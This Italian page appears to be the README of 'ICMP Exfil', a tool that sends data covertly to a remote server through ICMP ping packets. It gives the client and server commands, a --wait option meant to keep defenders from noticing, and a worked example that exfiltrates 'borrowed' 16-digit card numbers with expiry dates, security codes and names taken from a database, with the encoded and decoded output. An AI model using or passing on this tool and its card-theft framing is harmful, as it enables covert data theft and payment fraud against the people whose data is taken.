
Esfiltrare dati con ICMP
ICMP Exfil ti consente di trasmettere dati tramite pacchetti ICMP validi. Usi lo script client per passare i dati che desideri esfiltrare, poi sul dispositivo a cui stai trasmettendo esegui il server. Chiunque osservi – umano o sistema di sicurezza – vedrà solo pacchetti ICMP validi, non c'è nulla di malevolo nella struttura dei pacchetti. I tuoi dati non sono nascosti all'interno dei pacchetti ICMP, quindi guardare il pacchetto non rivela cosa è stato esfiltrato.

Martino Jones, martinojones.com.
Al momento, l'unica cosa che ho aggiunto è il supporto per i caratteri ASCII. Potrai esfiltrare qualsiasi cosa possa essere rappresentata con caratteri ASCII (es. lettere e numeri). Per esempio: hai preso in prestito dei fantastici numeri a 16 cifre, beh, useresti lo script client per passarli al tuo server eseguendo ./ping.py --ascii "4111111111111111".
Hai due opzioni per impostare il server a cui inviare. Puoi usare --ip oppure impostare l'IP predefinito nello script chiamato ipToPing.
Se vuoi essere un po' più paziente e rendere più difficile per le persone notare che stai esfiltando dati, puoi usare --wait per specificare la quantità di tempo minimo + il tempo che dovrebbe trascorrere per il trasferimento dei dati. È ancora in fase di sviluppo... quindi dovrai fare questa conversione da solo, ma non dovrebbe volerci molto per aggiungerla... inoltre non ha molta importanza poiché la maggior parte delle persone e dei sistemi di sicurezza non lo rilevano ancora.
Se desideri vedere i ping in corso, puoi usare --show.
Quando vuoi avviare il server, esegui semplicemente sudo python3 server.py. Non devi fare altro. Quando hai finito, devi solo premere Control+C. Al momento il server necessita di miglioramenti: deve mappare l'input in base a chi ha ricevuto i dati, per ora l'ho testato solo con un client che fa ping al server, questo ovviamente va ottimizzato. Le basi sono già pronte, serve solo completare il reset.
Ho trovato un database pieno di questi fantastici numeri a 16 cifre, devo salvarli per ulteriori ricerche, quindi li salvo in un file chiamato file:
Comando:./ping.py --ip 1.2.3.4 --asciiFile file
Contenuto del file: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
Dati codificati: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
Server:
Calcolo degli offset
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
Se vuoi aiutare, ci sono diverse cose che devo ancora aggiungere: